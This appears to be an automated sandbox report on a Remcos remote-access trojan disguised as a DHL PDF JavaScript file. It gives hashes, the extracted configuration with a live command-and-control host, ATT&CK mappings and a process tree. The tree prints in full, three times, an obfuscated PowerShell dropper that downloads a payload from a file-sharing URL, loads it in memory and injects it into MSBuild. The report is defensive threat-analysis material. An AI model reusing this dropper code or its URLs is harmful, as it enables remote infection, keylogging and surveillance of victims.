remcos | f6d422f45cfdde668b5e7229844ff8a907ad97cc218ca45dff0747f3a79f871d

General

Target

DHL RPA GRBP Template.PDF.js
Size

84KB
MD5

27cb47b5e1ac316a34e346dc787782f6
SHA1

70d3f484ab6ca95c0d03479894181a4fbb883583
SHA256

abc914c82dac8f803df0ae50a350c38cd7af60344f60936a6df01198efbb03f6
SHA512

1ecf1ed09e1df85fa7596d0ca169885d2f19a43d98c8309ad2d9a039c5c8489932410ed8af47d1dbfbeb421b97b6515afd722c7785eac6249f37e0f88c3f6b8f
SSDEEP

384:HZB5abMZB5abtZB5abdZB5abvZB5abtZB5abdZB5abhZB5abtZB5abdZB5abTZBH:4

Score

10^/10

remcos nom discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Extracted

Family

remcos

Botnet

nom

C2

meme.linkpc.net:3174

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
ios
mouse_option
false
mutex
gig-G7MMFK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
sos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	2624	wscript.exe
8	2624	wscript.exe
10	1308	powershell.exe
14	1308	powershell.exe
25	1484	powershell.exe
28	1680	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1308	powershell.exe
1484	powershell.exe
1680	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1308 set thread context of 4496	1308	powershell.exe	85

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1308	powershell.exe
1308	powershell.exe
1484	powershell.exe
1484	powershell.exe
1680	powershell.exe
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4496	MSBuild.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 1308	2624	wscript.exe	81
PID 2624 wrote to memory of 1308	2624	wscript.exe	81
PID 1308 wrote to memory of 3732	1308	powershell.exe	83
PID 1308 wrote to memory of 3732	1308	powershell.exe	83
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1308 wrote to memory of 4496	1308	powershell.exe	85
PID 1488 wrote to memory of 1484	1488	wscript.exe	92
PID 1488 wrote to memory of 1484	1488	wscript.exe	92
PID 2420 wrote to memory of 1680	2420	wscript.exe	97
PID 2420 wrote to memory of 1680	2420	wscript.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\DHL RPA GRBP Template.PDF.js"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$UUcRpCLGmLLdZKLGLZCh = '#x#.mon/ssc/sr.marolka#s//:sp##h';$khuGfWKcLCfBKPjrGWTo = $UUcRpCLGmLLdZKLGLZCh -replace '#', 't';$BokSBmcmWWtzWevWaoqx = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$qkoqGLWpWlePGLTbGWKi = New-Object System.Net.WebClient;$UtrGGLzeWZaiUKLALckK = $qkoqGLWpWlePGLTbGWKi.DownloadData($BokSBmcmWWtzWevWaoqx);$KznfbhLAKWeixbiKOLmf = [System.Text.Encoding]::UTF8.GetString($UtrGGLzeWZaiUKLALckK);$pqGmGJhCUdHPTWoNGzoi = '<<BASE64_START>>';$fkbtKicqWUKucKZfPsGZ = '<<BASE64_END>>';$IWkjipLrkKzmLLZTWnAZ = $KznfbhLAKWeixbiKOLmf.IndexOf($pqGmGJhCUdHPTWoNGzoi);$kLqhkkloLQnlpAAWtUfc = $KznfbhLAKWeixbiKOLmf.IndexOf($fkbtKicqWUKucKZfPsGZ);$IWkjipLrkKzmLLZTWnAZ -ge 0 -and $kLqhkkloLQnlpAAWtUfc -gt $IWkjipLrkKzmLLZTWnAZ;$IWkjipLrkKzmLLZTWnAZ += $pqGmGJhCUdHPTWoNGzoi.Length;$WZWCixKGqLjWLKAblnWb = $kLqhkkloLQnlpAAWtUfc - $IWkjipLrkKzmLLZTWnAZ;$BqfbkPmiGKPWmKNxlCCR = $KznfbhLAKWeixbiKOLmf.Substring($IWkjipLrkKzmLLZTWnAZ, $WZWCixKGqLjWLKAblnWb);$izpdcONcauWPfczuWZNS = [System.Convert]::FromBase64String($BqfbkPmiGKPWmKNxlCCR);$GtULNOKhlcioutbuALkp = [System.Reflection.Assembly]::Load($izpdcONcauWPfczuWZNS);$aPozWGuWPfkczdpKSqdK = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($khuGfWKcLCfBKPjrGWTo,'','','','MSBuild','','','','','C:\ProgramData\','marly','js','1','1','pessaries'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\marly.js"
    3⤵
    PID:3732
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4496

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\marly.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$UUcRpCLGmLLdZKLGLZCh = '#x#.mon/ssc/sr.marolka#s//:sp##h';$khuGfWKcLCfBKPjrGWTo = $UUcRpCLGmLLdZKLGLZCh -replace '#', 't';$BokSBmcmWWtzWevWaoqx = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$qkoqGLWpWlePGLTbGWKi = New-Object System.Net.WebClient;$UtrGGLzeWZaiUKLALckK = $qkoqGLWpWlePGLTbGWKi.DownloadData($BokSBmcmWWtzWevWaoqx);$KznfbhLAKWeixbiKOLmf = [System.Text.Encoding]::UTF8.GetString($UtrGGLzeWZaiUKLALckK);$pqGmGJhCUdHPTWoNGzoi = '<<BASE64_START>>';$fkbtKicqWUKucKZfPsGZ = '<<BASE64_END>>';$IWkjipLrkKzmLLZTWnAZ = $KznfbhLAKWeixbiKOLmf.IndexOf($pqGmGJhCUdHPTWoNGzoi);$kLqhkkloLQnlpAAWtUfc = $KznfbhLAKWeixbiKOLmf.IndexOf($fkbtKicqWUKucKZfPsGZ);$IWkjipLrkKzmLLZTWnAZ -ge 0 -and $kLqhkkloLQnlpAAWtUfc -gt $IWkjipLrkKzmLLZTWnAZ;$IWkjipLrkKzmLLZTWnAZ += $pqGmGJhCUdHPTWoNGzoi.Length;$WZWCixKGqLjWLKAblnWb = $kLqhkkloLQnlpAAWtUfc - $IWkjipLrkKzmLLZTWnAZ;$BqfbkPmiGKPWmKNxlCCR = $KznfbhLAKWeixbiKOLmf.Substring($IWkjipLrkKzmLLZTWnAZ, $WZWCixKGqLjWLKAblnWb);$izpdcONcauWPfczuWZNS = [System.Convert]::FromBase64String($BqfbkPmiGKPWmKNxlCCR);$GtULNOKhlcioutbuALkp = [System.Reflection.Assembly]::Load($izpdcONcauWPfczuWZNS);$aPozWGuWPfkczdpKSqdK = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($khuGfWKcLCfBKPjrGWTo,'','','','MSBuild','','','','','C:\ProgramData\','marly','js','1','1','pessaries'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\marly.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$UUcRpCLGmLLdZKLGLZCh = '#x#.mon/ssc/sr.marolka#s//:sp##h';$khuGfWKcLCfBKPjrGWTo = $UUcRpCLGmLLdZKLGLZCh -replace '#', 't';$BokSBmcmWWtzWevWaoqx = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$qkoqGLWpWlePGLTbGWKi = New-Object System.Net.WebClient;$UtrGGLzeWZaiUKLALckK = $qkoqGLWpWlePGLTbGWKi.DownloadData($BokSBmcmWWtzWevWaoqx);$KznfbhLAKWeixbiKOLmf = [System.Text.Encoding]::UTF8.GetString($UtrGGLzeWZaiUKLALckK);$pqGmGJhCUdHPTWoNGzoi = '<<BASE64_START>>';$fkbtKicqWUKucKZfPsGZ = '<<BASE64_END>>';$IWkjipLrkKzmLLZTWnAZ = $KznfbhLAKWeixbiKOLmf.IndexOf($pqGmGJhCUdHPTWoNGzoi);$kLqhkkloLQnlpAAWtUfc = $KznfbhLAKWeixbiKOLmf.IndexOf($fkbtKicqWUKucKZfPsGZ);$IWkjipLrkKzmLLZTWnAZ -ge 0 -and $kLqhkkloLQnlpAAWtUfc -gt $IWkjipLrkKzmLLZTWnAZ;$IWkjipLrkKzmLLZTWnAZ += $pqGmGJhCUdHPTWoNGzoi.Length;$WZWCixKGqLjWLKAblnWb = $kLqhkkloLQnlpAAWtUfc - $IWkjipLrkKzmLLZTWnAZ;$BqfbkPmiGKPWmKNxlCCR = $KznfbhLAKWeixbiKOLmf.Substring($IWkjipLrkKzmLLZTWnAZ, $WZWCixKGqLjWLKAblnWb);$izpdcONcauWPfczuWZNS = [System.Convert]::FromBase64String($BqfbkPmiGKPWmKNxlCCR);$GtULNOKhlcioutbuALkp = [System.Reflection.Assembly]::Load($izpdcONcauWPfczuWZNS);$aPozWGuWPfkczdpKSqdK = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($khuGfWKcLCfBKPjrGWTo,'','','','MSBuild','','','','','C:\ProgramData\','marly','js','1','1','pessaries'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\ios\logs.dat

Filesize
144B

MD5
ae5b84c8f7ba2885d978580f5f041d23

SHA1
bd2cf6c9fac762e832426e3c97b3fb37d8fa9add

SHA256
6ec1dcd138cfe8f888369f67523e6b868077af55edd67b40bd0fd5392c3b2187

SHA512
e80ebc79ee6ae0d96b9e6f08b2072166a9aec061e028d9d7bb8117890f56e8f5bad384ae8073eb4debdf32140de7a95eb20343d88f4b38c898f3fc8e34e678d3

Download Submit
C:\ProgramData\marly.js

Filesize
84KB

MD5
10c22df8d52720e2cb19f253a4f3815f

SHA1
c8413a63a19ec2a07fc053d6f94823c1cd48e787

SHA256
96a2d3b3da47cbe8a18c78592f79e3c03c889f1912a216fe60c1bed7ea7fb467

SHA512
a7790eaed0bb07c153a3b839acad08088578932e3d4fe9c6c9e36802ff5f29ad8fcf1fb093200bf8f861ac19699018455e83e476a88fbc6bdac9470599da474a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ABCW1OJQ\FsssIAil[1].txt

Filesize
3KB

MD5
421bb5fd77561c2b135314692ee10dfe

SHA1
e45f048e3e3724306132df298205a5cc446cb2e5

SHA256
066fcbaff4d7fa16cf982d563ea85c1afcf324033ee4539c46998b49c067a6a0

SHA512
5f421b8f1122eaea36a4308453d280f6ecaba3af39ba8c9132d54e2e9519c49f211a9be17a3b2767177ddd665cfc6fff8ce835cf055102b6d38517a0b6e1c40a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7d5d8cf9f65ce79e552409c240295219

SHA1
ec5e938110638dcd176ce0645682a0d3949dd5a8

SHA256
817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596

SHA512
0d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtq0o2ar.5ik.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1308-5-0x000002449BF90000-0x000002449BFB2000-memory.dmp

Filesize
136KB

Download
memory/1308-15-0x00007FF92EB60000-0x00007FF92F621000-memory.dmp

Filesize
10.8MB

Download
memory/1308-16-0x00007FF92EB60000-0x00007FF92F621000-memory.dmp

Filesize
10.8MB

Download
memory/1308-17-0x000002449D000000-0x000002449D206000-memory.dmp

Filesize
2.0MB

Download
memory/1308-18-0x000002449BFE0000-0x000002449BFEC000-memory.dmp

Filesize
48KB

Download
memory/1308-4-0x00007FF92EB63000-0x00007FF92EB65000-memory.dmp

Filesize
8KB

Download
memory/1308-23-0x00007FF92EB60000-0x00007FF92F621000-memory.dmp

Filesize
10.8MB

Download
memory/4496-20-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-41-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4496-86-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads